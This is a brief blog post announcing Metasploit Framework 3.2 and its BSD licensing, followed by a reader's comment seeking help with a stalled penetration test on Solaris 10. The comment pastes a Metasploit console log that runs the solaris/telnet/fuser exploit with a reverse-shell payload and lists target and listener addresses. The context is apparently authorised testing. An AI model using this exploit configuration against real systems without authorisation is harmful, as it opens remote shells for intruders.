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Metasploit Framework 3.2 Released

Today, H.D. Moore announced the release of The Metasploit Framework 3.2.
You can get it at http://metasploit.com/framework/.

There are lots of cool new stuff in this release, and the best part might be that its now provided under a true open source software license (BSD).

Read the whole release note here.

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  1. Chan CS says:

    Dear Mr. H.D. Moore,

    I would like to seek your advice on the following:

    1. Currently, I am evaluating the penetration testing software Metaspoilt on Solaris 10. Apparently, we encountered an error while tring to exploit the Solaris server, the testing stopped at the last message “[*] Setting USER environment variable…”and unable to proceed with the testing (please see the message under “Global” below).

    2. Just to confirm whether Samba v3.0.28 works well with Solaris 10 perfectly? (in terms of connectivity, authentication).

    Please advice if any further setup is required. Currently, the Solaris is loaded with the Samba software and all setup has been done.

    *Global
    ======
    No entries in data store.
    Module: solaris/telnet/fuser
    ============================
    Name Value
    —- —–
    AppendExit false
    ConnectTimeout 10
    EnableContextEncoding false
    EncoderDontFallThrough false
    LHOST 172.20.169.35
    LPORT 4444
    PAYLOAD solaris/x86/shell_reverse_tcp
    PrependSetreuid false
    PrependSetuid false
    RHOST 172.20.169.5
    RPORT 23
    SSL false
    TARGET 0
    TCP::max_send_size 0
    TCP::send_delay 0
    USER bin
    WfsDelay 0
    msf exploit(fuser) > exploit
    [*] Started reverse handler
    [*] Setting USER environment variable…

    Hope to hear from you soon so that we can continue with the test.

    Thanks.

    Kind regards
    Chan

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